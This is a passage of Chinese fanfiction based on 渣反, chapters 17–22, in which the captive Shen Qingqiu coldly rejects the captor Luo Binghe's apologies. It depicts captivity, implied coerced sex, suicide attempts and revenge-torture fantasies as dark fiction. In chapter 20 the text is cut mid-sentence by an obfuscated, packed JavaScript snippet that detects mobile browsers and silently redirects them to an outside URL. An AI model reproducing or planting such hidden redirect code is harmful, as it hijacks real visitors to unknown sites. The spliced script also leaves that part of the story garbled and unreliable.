他的语气充满了懊悔和自责,希望得到沈清秋的原谅。 但是,沈清秋却并没有被他的话语打动,反而极为冷静地问道: “所以我什么时候能走。” 他的眼神中透露出一种无所谓,反正解脱不了,也不可能接受,除了离开,别无他想。 冰哥愣住了,他没想到自己如此诚恳的道歉竟然换来这样的结果。他看着沈清秋那坚定的目光,心中一阵刺痛,原本以为可以通过自刨内心来挽回一些什么,但现在看来一切都是徒劳无功。 而此时的沈清秋,则是一副事不关己的模样,他的心中无波无澜,甚至还有点想嗑瓜子。他对冰哥的话并不感兴趣,只想着赶紧结束这场闹剧,恢复自由之身。 冰哥看着眼前这个丝毫没有动摇迹象的仙人,自己说的如此情真意切却还不能打动对方,难免有些着急上火。他深吸一口气,努力让自己的语气显得更加诚恳: “师尊,你知道的,我并不是一个善于用言辞来表达情感的人,但这并不代表我对您的爱是虚假的。” “别介。”沈清秋不仅因为他这番话而有所动容,反而连忙撇清关系:“成王败寇,身为俘虏,没什么好说的。” 沈清秋看着如同狗皮膏药的冰哥,心中实在难以理解,无奈,只能居高临下的看着冰哥,绝情道:“别拿畜牲那恶心的爱侮辱我。” “师尊……”时间仿佛又回到了清静峰,情景两相对比,依旧是如此的惨烈。之前是一腔热血的少年、被狠狠泼了一杯热茶,打碎所有美好幻想;现在,是青年将心底最深的爱恋和痛苦说出来,又刻苦的剖析错误,而这个无法逃脱、无力反抗的人,依旧如此冷漠与绝情。 冰哥眼神有些受伤,瞳孔黯淡无光。他已尽力学习冰妹,为什么不仅没有收到一个’温柔沈清秋‘,反而却换来这样的‘嘲笑’?到底,是哪里出现了问题? 沈清秋虽修为全失、被人囚禁。但他高傲的性子和生冷刻薄的言语,却从不改变。他丝毫不顾及冰哥的感受,无情地驳斥道:“你算什么东西,我必须要回馈?” —————————————————————————————————— 17.爱什么爱,不存在的玩意 尽管冰哥已经坦诚地表达出内心深处的爱意,并试图纠正过去的错误,但沈清秋却毫不留情地给予了他最残酷的回应。此刻的冰哥,就像一只受伤的野兽,无法理解为何真心付出却得不到应有的回应。 其实。答案一直很简单。 若沈清秋心里还有要坚守的自尊,他不会如此激怒对方。倘若他心里还有需要保护的人,那他也不会这般直接地去刺激对方。若他想徐徐图之、逃避对方的强势床笫之事,亦可虚与委蛇的敷衍和应酬。 但,很不巧,沈清秋已经什么都不在乎了。 冰哥在他身上留下的印记。沈清秋不在乎。大不了就是床奴呗,阶下囚,哪管那么多。 苍穹山上的那些人。沈清秋不在乎。反正都死过一次了,就算是再死一次又如何?(当然,最重要的是,本冰是个正常龙傲天。他开疆辟土是真,攻打敌对势力也是真。可当一切尘埃落定,龙傲天绝不允许其他人在自己地盘大肆杀戮和破坏!) 名声与记忆。沈清秋也不在乎。冰哥都入梦多少次了,哪怕再羞耻、再细碎的情感,也都化为烟尘,无所畏惧。 至于冰哥所谓的‘理解’。 笑死。鬼知道的真的懂了什么叫‘感同身受’,还是精心编出来、想看他崩溃的破防瞬间? 总而言之一句话。沈清秋,不相信洛冰河。 “把爱献给你”?这是什么鬼话! 如果真的爱,那就放手让他走。 “把心挖给你”?多么可笑的话语! 多脏啊,放沈清秋自由就行。 说什么虚假温柔的‘我懂你’? 哦,那你更知道自由多可贵吧? 总而言之,言而总之。 沈清秋想要的,唯有自由。 冰哥哪怕说的天花乱坠,这个做不到,就不要再惺惺作态,装出一副情深意重的模样。恶心谁呢。 至于冰哥是否愿意放手…… 呵,他若是有这个觉悟,又怎会为了自己的执念,将三个世界搅得翻天覆地? 而这一切,都是所谓的。“爱”啊。 荒谬吗?本该让人温暖的词汇,竟是如此的令人作呕。 所以,究竟是‘爱’,还是,‘欲’?沉香当年执着要打破的天条,最后却化为了回旋镖,狠狠的将‘放爱一条生路’,变成了整个世界的劫难。 —— 爱情这个东西很神奇,有些人求也求不来(譬如冰哥),有些人可能只需要回头看一眼(譬如沈清秋当初的一眼)。 那些求不来的,就算是将心扒出来、捧上去,都会被不爱的人嫌弃血腥味太重。 可那又如何呢?被爱的,永远有恃无恐啊。 被爱的那方,就是有资格拒绝对方啊。 有本事,你就离开,别做舔狗了呀。 将心巴巴的奉上去,最后被人弃之如敝屣。 伤心郁闷之后,恨不得将对方列为追杀名录;将对方拉入泥潭后,接着又将爱意凝聚为一丝丝脆弱的蛛丝,问对方要不要抓住。 对方只要抓住了,就是你网里的猎物。 可,有些人,是宁可沉入泥底,也绝不求助的。 —— “你知道,弟子只是……”冰哥是有些想睡,但并不是单纯的冲动。更多的,是想让这个没有表情、对外界再不联系的人,多出几分生动来。 “你想要的,就去抢过来。反正畜生只会巧取豪夺,为难我做什么。”沈清秋的表情从没变过,甭管冰哥怎么努力,讨好也好,凶狠也罢,沈清秋就像个布娃娃一样,只要死不了,就对一切都漠不关心。 换句话说,他现在的状态已经超越了"生无可恋",分明是求死多次无果,对整个世界都不再信任与接触,准备随时脱离尘世,遁入空门。 “不是的,不是……”冰哥被沈清秋冷漠的眼神刺痛,有些不敢再直视他。 “我恢复的记忆里,正巧有你的。”沈清秋突然说起了题外话。当然这个‘题外话’,犹如一道闪电划破黑暗,或许能解当前焦灼的棋局。 “?”冰哥皱起眉头,满脸困惑地看着眼前的人。然而,尽管他并不理解,但内心深处却涌起一股难以言喻的兴奋和期待:只要沈清秋愿意开口说话,无论他提出什么要求,哪怕是让他将自己的心掏出来剁碎,他也会毫不犹豫地去做。 “你想要的,是那个‘沈清秋’。”沈清秋眼神冷漠,隐有不爽:“你知道的,我不会做替身。” 沈清秋从没有记忆的时候,就感受到了强烈的违和感。冰哥的一举一动都充满了‘模仿’的痕迹,与他人设不符。 沈清秋原以为是自己夺舍于人。 现在想来,冰哥一直试图效仿冰妹,希望通过这种方式来获得那个世界中的“沈清秋”。 既如此,小小的挑拨一下,有何不可? “不……”冰哥的身体猛地一颤,脸上露出惊愕的表情。他从未想过这个问题,但此刻听到沈清秋亲口说出这句话,心中不禁涌起一阵恐惧。因为他清楚地意识到,这或许才是事实真相。冰哥脸色苍白,忍不住伸出手遮住了沈清秋的双眼。 可沈清秋的视线却仿佛能穿透一切,他带有一丝蛊惑的下定论:“你就是。” ———————————————————————————— 18.指望男频仙尊跟女频师尊学习?想啥呢? 曾经的沈清秋到底有多惨呢? 惨到听到这个故事的人,都觉得这人一定和对方有着深仇大恨,甚至恨得咬牙切齿,连带着恨得上天入地,转世投胎都得记几辈子。 可他做错了什么? 错在没有给被欺负的弟子撑腰吗? 被欺负者,不责怪自己的弱小,也不去想如何让自己变得更加强大。没有痛恨那个真正给自己带来伤害的明帆,却偏偏去恨一个几乎不管事的仙尊? 行吧,是沈清秋示意的,因为看不惯他,怎么了? 沈清秋还做错了什么,错在看洛冰河不顺眼,破坏了拜师仪式? 嗯,可洛冰河不是讨回来了吗?尤其是这一世,冰哥还听沈清秋喊了那么久的’师尊’,还不够吗? 接着呢,沈清秋又做错了什么? 哦,这次确实不是他的错。 是冰哥去了一趟女频的世界,内心就对温柔的师尊产生了强烈的渴望和期待,并且希望能够通过一系列的方式来弥补自己的过错,从而赢得沈清秋对他的"爱"。 离谱吗?荒谬不? 简直滑天下之大稽! 沈清秋是战败者,所以被战胜者折磨。这就是成王败寇的残酷现实,是可以理解和接受的。 沈清秋身为男频标准仙尊,御下不严,对于那些他看不上眼的东西,毫不留情地予以打压。 结果,那个被打压的玩意,去了一趟女频后,居然希望男频仙尊,跟女频师尊一样,对他表现出温柔、体贴和关怀备至,甚至还梦想着能够得到对方的贴身照顾,甚至发展到能同床共枕的关系? 此情此景。除了一句‘卧槽’。再无其他。 —— 骤雨初歇。 “师尊。”冰哥小心翼翼的将无法拒绝的沈清秋搂在怀里,强硬又紧张:“我只是……” “畜牲就别学人讲话了。”沈清秋声音沙哑,即使满是疲惫,也从不给人希望 。 冰哥将沈清秋的头狠狠压入胸膛,感受着沈清秋尖锐的牙齿在身上咬得鲜血淋漓、深可见骨。 他默默的闭着眼,脑海里却出现他那一世中,被天魔之血折腾的苦不堪言、自杀多次、心灰意冷却怎么也死不掉的沈清秋。 那时候的他,眼中有恨,有烈性,有毁灭一切的疯癫。 当然,现在的这个也有。只要脱离冰哥眼前,要么逃得远远的,要么又是新鲜的死亡场景。 若不是天魔之血实在bug,本冰又在耗费整个魔界、修真界的资源努力治疗。就沈清秋这个作死样,真没几个人扛得住。 冰哥也试过带他入梦,让沈清秋看看他内心对他深沉到甘愿放弃一切的爱。 可沈清秋只是勾起讽刺的笑容:“那就让我走。” 冰哥愿意将心剥开让他看,也愿意共享他内心深处最难以启齿的期待和记忆。 可沈清秋要的,从来不是冰哥的心。 冰哥就算将整个天下奉上又如何? 沈清秋想要的,一直都没变过。 一个硬要给, 一个不想要。 一个小心翼翼的捧起, 一个不屑一顾的冷漠。 冰哥除了动用强制手段,将人揽在自己怀里,让他没办法出屋子。 什么也做不到。 这次也一样,哪怕冰哥去找本冰喝了许多的酒,又从那里搞了很多酒用来灌沈清秋。 结果依旧一样。 他趁沈清秋醉酒,问“师尊,你怎样才会喜欢我?” 可惜得到的却是极其无情的回答:“畜牲想的挺美。” 冰哥也曾入过沈清秋的梦。 童年悲苦、幼年凄惨。好不容易跟着无厌子闯荡江湖还经常被坑、终于见到岳七却不得不杀师。入了老峰主的眼、却逃不过同龄人的嘲讽与欺凌。当上清静峰峰主、却被收下的狠毒弟子囚禁报复。 如此惨痛的人生经历,再配上冰哥那一世的悲惨结局。 别说早已动心的冰哥,就连执着想报复的本冰,都得叹一句“惨”。 现在,冰哥想弥补、想挽救、想跟他创建美好未来。 可那又如何呢?沈清秋现在,根本就不在乎。 就像现在,明明两人负距离接触许久。沈清秋也只会用毫无感情的双眼,看着冰哥:“结束了吗。我想沐浴。” 冰哥听到沈清秋淡漠的声音,看着他始终不曾情动的状态,忍不住逃离似的离开。 19.太过于聪明的人,是不会快乐的 沈清秋从床上坐起来,淡定的收拢衣物,将床铺被褥等东西扔出屋外,重新取了新的来铺平。 正如他所言,反正故事早就大结局,死又死不了,走又走不掉。除了接受,总不能指望他改变性子,模拟别人吧? 但接受又不代表应和,他只是没办法反抗,所以不做反抗。若是希望他主动配合,还是一刀将他砍了干脆。 冰哥不是想要温柔体贴的‘沈清秋’吗?那就去抢啊。反正他最爱的就是争来夺去,再抢一个‘沈清秋’又何妨? 至于那个‘沈清秋’是否无辜…… 拜托,他不无辜吗?不会以为他是什么好人,会为了其他世界的‘沈清秋’牺牲自己吧? 关于沈清秋对冰哥的看法,那可是太简单了。在沈清秋看来,冰哥的一切骚操作,说是为了‘沈清秋’,不如说是为了他自己。 冰哥只是想去掉他的心魔而已。 他想要弥补童年的不满足,所以将仇人(也就是沈清秋)踩在脚下。这是故事一贯的发展,毕竟大家努力修炼,不就是为了将不爽的人远远甩开,顺便踩两脚吗。 可不巧的是,冰哥又无意间发现了另一种不同的发展,从这时候起,他就被女频的狗血污染了,开始抱有不该有的期待。 但是啊。太可惜了,冰哥的期待,沈清秋给不了。或许‘沈垣’给得了,但是谁知道呢,反正别指望沈清秋就是了。 除非他去将给他期待的人抢过来,否则没有解决办法。 不可能指望沈清秋去模仿其他人(沈垣)吧? 其一是沈清秋的傲气不支持他做别人的替身。其二是那个替身本身,就不可能填补冰哥内心的缺失。 要真能通过一个温柔、体贴、会关心的“旁人”就能搞定一切,冰哥的后宫里,能人无数,为什么却始终没人解决这个隐患? 沈清秋太聪明了,即使他失去一切,那颗过于通透的七窍玲珑心,也能轻而易举的割裂所有虚伪。 他清楚的知道,冰哥只是羡慕冰妹,想要“沈清秋”的温柔以待。 可那又如何呢,沈清秋不是沈垣,冰哥想要的温柔,需要他自己去抢过来。 但是太不巧了,沈垣的温柔也只会给冰妹,冰哥就算是抢过来,人家也不会给啊。 看,多惨的人啊。 自己的,不配合,也不给。 抢来的,也不愿意配合。 所以。冰哥想要的,从来都是没人给得了、也压根不存于世的玩意。 既如此,他与‘沈清秋’的所有纠结与烦闷,都是自作自受,无人能解。 当然了,这其中被连带的沈清秋,除了自认倒霉,也逃不开这滩烂局。 —— “沈仙师,您就把我当护卫和钱包就行。”漠北君恭敬到几乎狗腿。 能怎么办!这可是一语激得冰哥去跟冰妹开战,又一言吓得本冰老老实实窝在魔界后宫的狠人! 本冰已经是两冰、不,三冰中难得的正常人了。都能被沈清秋三言两语吓得打死不出后宫。 冰哥更是被激得一气之下划开时空通道,将《渣反》世界搅得天翻地覆。并且真的绕过冰妹的重重阻碍,将另一个世界的‘沈清秋’捞了过来! 当然,冰妹也以最快的速度穿越到了这里,将几乎没有参战、却被迫参加的本冰给打了个透彻! 甚至那个世界的‘沈清秋’,也在这位主的几句话之下,被杀的片甲不留,连门都不想出! 漠北君表示:我就是个工具人,沈仙师你随便浪,我会好好给你当钱包+护卫的! 呜呜呜,世界太可怕了,漠北君感觉他需要娶个王妃压压惊! —————————————————————————— 20.面对沈垣的建议,沈九:你们有病吧? 冰哥认为他与沈清秋已陷入绝境。他坐在那里,眉头紧蹙,陷入沉思。 随时间流逝,在他的深思熟虑下,他决定求助外援:“冰妹,你也不想你师尊被我掳走吧?” 听到这句话,原本正在装乖卖萌的冰妹瞬间爆发。他瞪大双眼,浑身散发着冰冷的气息,与满腹怨气的冰哥展开了一场激烈的战斗。他们的招式凌厉凶猛,每一次攻击都充满力量和即将毁灭世界的愤怒。 自诩‘善解人意’的沈垣,看见一言不合就开打的两人,决定亲自和原装货,好好聊聊。 —— “你以为他对我百般虐待,幡然醒悟之后,我就该接受他的爱?”沈清秋看着明显有些‘单纯’的沈垣,心中涌起一股难以言喻的震惊之情。实在无法理解这种荒谬的逻辑。 “先虐待对方,误会也好、辜负也罢、哪怕是刑罚加身、断手断脚。等得知了所谓的‘真相’或‘苦衷’之后,期望施暴者能心生愧疚与悔恨,指望他突然间的恍然大悟和悔不当初。接着等待对方将你宠溺如骨、逆境翻盘得到一切?” “你有病吧。”沈清秋语气中带着绝对的嘲讽和不屑,做最后的总结。 他难以置信的看着这个跟自己长得一样,却被派来当说客的‘沈清秋’。只觉得这玩意一定是脑子有点问题,要不然怎么会这么异想天开? 沈清秋真诚的提出建议:“若是你想体验一下各种酷刑和躯体缺失,我倒是可以叫本冰安排你去地牢里待上几天,好好感受一番。”说完,他嘴角微扬,露出一抹戏谑的笑容。 沈清秋看着眼前的人,淡淡道:“不过你放心,即使你再凄惨,本冰也不会突然对你转了性子,对你爱的死去活来。” “相反。”沈清秋想了想为了他杀过来的冰妹,用看透一切的语气平淡讲述:“那个你培养的娘娘腔、伪.撒娇冰妹,即使你没经历过地牢的折磨,依旧会将你牢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075138|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢的奉在手心。” “……”沈垣,无话可说。 他本想反驳沈清秋的观点,想说冰哥、本冰和冰妹是不一样的,他们不适用于一套标准。 可仔细想了一下,他发现沈清秋的话不无道理。 冰哥对‘沈清秋’的执着,来源于男频龙傲天被女频耽美思想的污染。他向往‘温柔体贴’、能弥补童年阴影的‘师尊’。 然而,眼前的“沈清秋”显然与此大相径庭。这个‘沈清秋’一看就是个宁可死也绝不会模仿别人宁愿选择死亡,也不愿模仿他人,为活命而改变性子、放弃尊严的存在。 这样的“沈清秋”,真实又倔强。他有自己的原则和底线,绝不会轻易妥协或屈服。这种坚韧和固执,若非冰哥对冰妹的打扰耽误到了沈垣,沈垣也是会对他禁不住心生敬佩的。 同时,他也意识到,对于冰哥来说,让这样的“沈清秋”接受他,可能需要更多的时间和努力,以及难以达到的条件。但无论如何,冰哥对“沈清秋”的感情是真挚而深沉的,这一点毋庸置疑。只要拿捏住这一点,‘沈清秋’必定会被冰哥‘烈女怕缠郎’。 这个世界原本的洛冰河,更像是男频的传统龙傲天,主打一个‘升级打怪收后宫’,除了开新地图和睡妹子,连虐待敌人都是交给手下干的。 冰妹呢?他是沈垣穿越后,一点一滴纠正过来的女频耽美龙傲天人设。既然已经完全转换了频道,自然不能将他与冰哥或者本冰相提并论。 如此一来…… 最有问题的,不是沈清秋,也不是这个世界的龙傲天本冰,而是被污染是冰哥啊! 他想要得到女频师尊的温柔体贴,但他拥有的师尊还是男频里遵循‘成王败寇’的标准失败方。 即使这个阶下囚已深陷尘埃,他也只会承认自己的失败。然而,若给予他一次机会,他必然会铲除所有敌人。 就算是冰哥强硬的添加各种残酷的惩罚,沈清秋也只会觉得这是对方的手段之一,只会增加‘怒气值’,绝不会产生‘爱’这种东西。 而冰哥学着冰妹的撒娇卖萌、包揽一切。 身为男频沈清秋,只会觉得这玩意换了个折腾套路,对方肯定是想用这种方式让自己放松警惕,接着看他被忽悠的捧上一腔热血,继而被狠狠打落深渊。 至于床笫之事,在女频作品中或许还有催化爱情的作用。但在男频里面,这纯粹只是''好看、能睡’、‘干净、可睡’、‘刺激、想睡’。与其说爱,不如说欲。也怪不得沈清秋说自己沦为床奴了。 这完全是乱了频道……犹如隔了十道八道的隔阂和难以跨越的鸿沟啊…… “冰哥,其实也挺苦的。”沈垣艰难开口。 “他苦?”沈清秋更震惊了:“他苦关我什么事?”沈清秋极好的养气功夫,都要被他说破防: “他苦,他就将仇人踩入泥土。” “他苦,他就将人折腾到魂飞魄散。” “他苦,他穿越异世,还要把我牵扯入莫名其妙的情感旋涡?” “他想要赔偿,所以他将人打压的喘不过气。可惜人太倔强,宁死也不从。” “他又想要温暖,遂与冰妹展开连番激战,迫使冰妹连夜销毁心魔剑,只为防着他再次入侵争夺。” “可他又实在是不满足,没有办法将憔悴、破碎的灵魂拼凑,所以又换了一个世界,将我搞的自杀沉睡,甚至妄图让我成为他世界中的“沈清秋”,抑或成为你的替代品???” 沈清秋实在无言以对,面对这个与自己面容相同却说出如此愚昧话语的人,他着实不知该作何评价。 最后,他实在没办法跟沈垣继续交流,只能道:“既然你觉得他苦,那就麻烦你以身饲虎,别放他出来祸害,尤其是折腾我了。” 这TM的,你行就你上,别想怂恿我为了你的感情掺和进这一堆的破事。你倒是会慷他人之慨,让别人为你无私奉献?你谁啊你,莫说你是异界之人,就算是他爹他娘,这么跟他说,他都想弑父杀母! “……”沈垣听出沈清秋的逐客意味,却碍于冰哥和冰妹还在生死相争,他不好直接离开,继续劝解道:“可是冰哥想要的是你。” “!!!”从未见过如此厚颜无耻之人!沈清秋他险些破口大骂:“你有病吧?你口口声声说着‘洛冰河’可怜,却要我去替他收拾烂摊子?” “而且他要的不是我,是他世界那个已被他搞得魂飞魄散的‘沈清秋’,是莫名其妙感受到你对冰妹的‘温暖’的‘沈清秋’!” “你们的游戏,非要牵扯我做什么?” “可是,你不是有那一世的记忆吗?”沈垣弱弱开口。。他深知,若自己被冰哥带走,冰妹必然会陷入疯狂。而且冰哥对沈清秋做的一切,沈垣并不想亲身感受一番。 “滚!”沈清秋怒不可遏,召唤漠北君送客。 漠北君看着这位来自异界、略显书生气的“沈垣”,再看看被气得脸色苍白、只能借茶消气的沈清秋,默默地请沈垣离开:“沈仙师,请。” 沈垣凝视着眼前气得脸色发青、呼吸急促的沈清秋,心中涌起一股罕见的愧疚之情。毫无疑问,在当前的局势下,必须有人挺身而出,承担起所有的责任和风险。而这个人,非“沈清秋”莫属。至于是那个...嗯,他有一手培养的冰妹,冰哥,只能推给他了。 可沈清秋态度异常坚决,甭管是面对谁,也甭管是不是修为尽失、被软禁,他都绝不屈服。与人争论时,更是言辞犀利,让人难以应对。 除非如冰哥一样采取强硬手段,将其骨骼尽数击碎。否则他所承受的一切,都是黑化的养分,只等那一天,寻到一个机会,将众人都杀穿。 可,沈垣还是不能理解。沈清秋明明拥有冰哥那一世的记忆,为何却执意不肯将前世与今生视为等同呢? 更何况,这个世界的本冰已经明确表示不会介入冰哥和“沈清秋”之间的争斗,只要沈清秋稍作妥协,接纳冰哥,那么所有问题都将迎刃而解,迎来皆大欢喜的结局。 为什么。沈清秋,就是不愿意呢? ——碎碎念—— 关于冰哥怎么去《渣反》抢人,冰妹又怎么过来却定位到本冰,三者又如何打斗与争夺。 嗯,一时半会有想法,面前写不出来。 —— 冰哥的行为驱动:要么沈清秋终于对他温柔如水,要么抢走‘温柔版沈清秋’。 冰妹的行为驱动:我师尊谁也不许抢! 本冰的行为驱动:劳资说了不会参与,你们tm的不要破坏我辛辛苦苦建设的魔界!修真界也是我的地盘,不准给劳资破坏! 沈垣的行为驱动:你既然有记忆,就认了呗,放冰哥出去又是一通毁灭世界... 沈清秋行为驱动:甭管是谁的替身,劳资压根不想跟你们有任何牵扯!谁都别想让我为冰哥的行为背锅! —— 沈垣劝解沈清秋的底层逻辑:你已经跟冰哥纠缠那么深,又有冰哥那一世的记忆,就别把祸水引到我身上了!我只想和我亲爱的冰妹相爱相爱! 沈清秋拒绝一切的底层逻辑:这世苦,冰哥那一世更苦。你们这群脑子有问题的玩意自己打去,别来纠缠劳资。劳资不可能做任何人的替身,若不是死不掉,信不信我以死明志啊! ———————————————————————————————— 21.名为‘负荆请罪’,实则道德绑架 沈清秋望着莫名其妙“负荆请罪”的冰哥,心中立刻明白了这是沈垣的手笔。 他真是要被这几个人烦死了!简直是一群神经病,没一个正常的。 冰哥以为只要效仿冰妹的温柔体贴,沈清秋就一定会接受他的“好”,进而忘却曾经遭受的苦难,只想与他双宿双飞。 沈垣则认为只要冰哥愿意负荆请罪,给沈清秋一个台阶下,接着再让沈清秋稍微打冰哥几顿,或者干脆‘报复回来’,就一定能让沈清秋消气,两人便能快乐地没羞没臊下去。 ??? 对此,沈清秋只想说:“你们tm的都病得不轻吧?” 对,没错。沈清秋沈想狠狠的给冰哥几顿鞭子,最好再把他的手脚打断,眼睛挖出,舌头和耳朵也割掉。 但这前提是为了报复! 不是为了让冰哥觉得爽!让冰哥觉得他已经‘补偿’! 他还没抖m到这种程度,自己废力气,把对方打爽了。 沈清秋想弄死‘洛冰河’,是因为冰哥对他造成了太深的伤害,甚至还灌输给了他并不想要的“另一世记忆”。 那些报复性的鞭打、折磨,甚至割裂躯体,都只有一个目的——泄愤。 他们的所有意义,都是为了让沈清秋通过自己的努力,将敌人踩在脚下,从而宣泄之前因无力而遭受的痛苦。 但现在冰哥负荆请罪,还把那些刑具带过来。其目的并不是让沈清秋泄恨,更多的是希望沈清秋看到他的所谓‘诚意’,接着通过两人间的‘q趣’,进而接纳冰哥这个人! 表象虽然相同,但内在根源却大相径庭。 打吗? 沈清秋当然会打,还会狠狠的打,狠狠的杀。毕竟他遭受了那么多的苦难,今敌人自愿放弃武力,何不先收取一些利息? 会原谅吗? 不会。 指望通过被打几顿,就希望对方消气,继而接受自己。 这不是变相的道德绑架吗? ‘你都打我了,自然该消气了吧?你都消过气了,我又对你这么好,该理我、接受我了吧?’ 这,便是沈垣给冰哥出的主意,背后的行为逻辑! 想的多美啊!以退为进,让沈清秋觉得:冰哥已经主动求饶、还让你打回来了,你再气下去,就过分了啊! 果然,是能说出‘可是你分明拥有那一世的记忆,你就是跟冰哥纠缠了两世的‘沈清秋’,就该与冰哥好好锁死在一起’这种话的人。 慷他人之慨,进行道德绑架。这等手段,当真一流。 就连沈清秋,看到主动送上门,主动封掉灵力魔气,主动将刑具送上的冰哥,都有些按捺不住地想动手杀了他。 平心而论,沈清秋并不惧怕‘洛冰河’的报复。 甚至说,当他对洛冰哥不闻不问、不理不睬、各种苛刻、踹人下悬崖深渊的时候,他就想过自己会被报复。 但。 凭什么他和洛冰河之间的纠纷,另一世的洛冰河要灭了整个苍穹山派?毁了几乎全部的修真界? 这一世就更离谱。他能接受自己身为俘虏,被战胜者戏弄。但是——这个玩弄自己的战胜者,居然在将他搞得道心破碎、生无可恋的时候,突然说他爱他? 神TM的爱!变态的爱吗? 风霜剑雪,雨打浮萍。想要捉弄你的人,永远都不会愧疚和满足。他们只会震惊于你的能忍,嘲笑于你得退让,接着将你逼入退无可退的墙角,肆意欺辱。 这才是男频的一贯套路! 服软和抵抗皆无济于事,当你处于劣势之时,你的任何反应,皆会成为上位者嘲笑的对象。而你,谁让你位卑、背后又没人呢? 所以他们要争,要抢,要让自己强大起来! 而这其中,绝不是靠虚无缥缈的‘爱’! 还有至关重要的一点,若想获得他人的青睐,少说得‘投其所好’吧? 可冰哥干了什么?他将沈清秋愣生生逼的自尽,逼的意识沉沦永暗,逼的尚未恢复记忆的人都时刻想着逃跑! 你若想得到他人的爱,首先要确保对方愿意与你长期接触吧? 可沈清秋呢?若不是冰哥严防死守,沈清秋早就找机会逃离了。 若不是冰哥强行将沈清秋性命留住,沈清秋恨不得干脆以死解脱! 尤其是冰哥在得到沈垣指点后的‘负荆请罪’。 这岂不是逼的沈清秋怀疑自己吗? 毕竟按照道德绑架的逻辑——对方已经道歉、服软,你也打了骂了发泄了,为何还不原谅? 其心,可诛。 此诛心之举,竟然成功将弱势转化为强势,将本已无路可退的沈清秋再次逼入绝境! 沈清秋为什么不愿意接受另一世的记忆? 因为他不能接受,因为他自己,灭掉了几乎整个修真界! 所有人都死了,所有人的死讯都被冰哥亲自告知给沈清秋。 可,罪魁祸首沈清秋,却还活着。 他凭什么活着?他如何有脸于泉下遇到他人? 即使沈清秋自己也遭受无数折磨,艰难求死又苟活。 可,他毕竟还活着。只要这一点存在,‘沈清秋’,就是所有人的罪人。 谁让其他人都死了呢。 谁让那些跟他相关的人,都比他先一步离开人世,听起来也很凄惨呢。 可这个‘活着的’。 才是最可怜,最无助的。 …… 沈清秋不想接受那一世的悲惨过去。有错吗? 不愿意接收那么多惨痛的因果,有问题吗? 即使犯下所有杀孽的是洛冰河,是冰哥。 可,那又如何呢? 谁让沈清秋活着。 谁让沈清秋真的虐待过洛冰河。 谁让洛冰河是用‘复仇’的名义向苍穹山派开战! 既如此,那个一开始的导火索——沈清秋, 就自带‘罪该万死’debuff, 就没办法逃脱世俗的谴责, 就没办法理直气壮说一句‘我也很苦’。 开疆辟土、获得世界、广收后宫的,是冰哥。 可世人谴责的,是沈清秋。 其他人又怎么会指责名门正派守不住修真界,又怎么会责骂举世无双、合并两界的魔道尊主呢? 他们所能责骂的,背负所有骂名的, 自然是那个虐待了人魔混血,最后被人找上门来复仇,最后连他的师门苍穹山派都覆灭,他生长的修真界都被连累的——罪魁祸首、人渣败类,沈清秋,啊。 这,与那些守不住国门,所以需要公主和亲。君主必定贤明,而祸国的永远是妖姬。有什么区别? 而这个故事里的‘沈清秋’,即使他也活的艰难。 可只要他尚有一丝良知,只要他稍微听闻外界的只言片语和议论纷纷。 本就倾向自毁与自厌的内心,将会愈发疯狂地自我唾弃。更加绝望地,凝视着无法死去的自己,如同一滩腐肉。 这般绝望的记忆。 为何要接收呢。 这样操蛋的人生。 却为何就是死不掉,睡不着呢。 22.劳资丑拒,你们都离我远远的就行了 冰哥看着明显陷入沉默、连眼睛都有些湿润的沈清秋,觉得自己的‘负荆请罪’收效显著,于是决定卖惨。 “师尊可曾想听我讲讲无尽深渊的经历?” “没有老者得传功,没有绝世秘籍,甚至连基础的内功心法和灵力修为,都是初出茅庐。” “梦魇虽能给我基础的魔气修炼功法,却受限于修真界微薄的魔气而难以成型。” “若非仰仗强大的恢复能力,你如今也无法见到我。” “那又如何?”沈清秋抬头,脸上收敛了所有脆弱与不甘,只剩下一片平淡。他毫不在乎的盯着冰哥的眼睛:“我童年悲苦,嫉妒成性。看到与我相似、却在适合的时间拜入苍穹山派的少年天才,难以压制心中愤恨,所以刻意示意明帆,想让你尝尝我吃过的苦。” “你心中委屈,所以将我打入深渊、踩入泥潭,任我受尽折磨。” 沈清秋的脸色是一惯的淡然与无所谓,他已看淡一切,甚至这世间,除了‘离开’,再无其他想法。对于冰哥的‘负荆请罪’‘也好,’卖惨卖萌‘也好,都不在乎: “我们两个,都不是善类” “你不会以为,你能用悲情和痛苦回忆,来让我觉得你很可怜,从而对你心生怜悯,接着对你施以同情吧?” “...”冰哥看着油盐不进的沈清秋,着实感到束手无策。 他对沈清秋,可能没有那么多的‘爱’,但一定有足够的愧疚,以及希望通过弥补让对方满意的心意。毕竟,爱之深、恨之切。反过来,恨的越深,偏执的爱意,就越容易激发。 冰哥自身就可以是这句话的写照。 然而,事与愿违,其中出现了最大的分歧! 沈清秋何止是不接招,他甚至给冰哥装失忆! 这里的失忆并非指之前的失忆,而是冰哥明知沈清秋有记忆,沈清秋却执意表示“我失忆了,不记得与畜生说过什么,你早点滚开我的世界”。 沈清秋的性格依旧是那么恶劣,脾气也依旧像茅坑的石头,又臭又硬。 可他却执意的将’上一世魂飞魄散‘的人,与这一世’踹畜生下深渊‘的人,强行割裂开来。 这其中最根本的在于。 沈清秋,压根不认魂飞魄散的那个是他自己。 换句话说,这一世的沈清秋,所遭受的最大折磨,就是被当成床奴,且死不掉。 他没有经历过痛入灵魂的破碎,也没有跌入拼凑不起来的深渊。 他始终将另一世当成‘别人的故事’,坚决不承认冰哥那病态的爱恋。 他的灵魂没有疲惫到不想在继续存活,他的感情依旧强烈到要坚定的反抗一切。 因此,他根本不打算与冰哥共情。也坚决拒绝冰哥看向自己那、满是悔恨与赎罪的眼神。 人死了,你知道哭坟了? 晚了!劳资坚决不认! 就算是同一个人,可是沈清秋有不认同的权利。 他就算是真的感受到切骨之痛又如何? 他失忆了。 他忘记了。 他不想记起来。 有问题吗? 为什么一定要背负如此沉重的过往呢? 为什么一定要和冰哥这个病态的家伙纠缠不清呢? 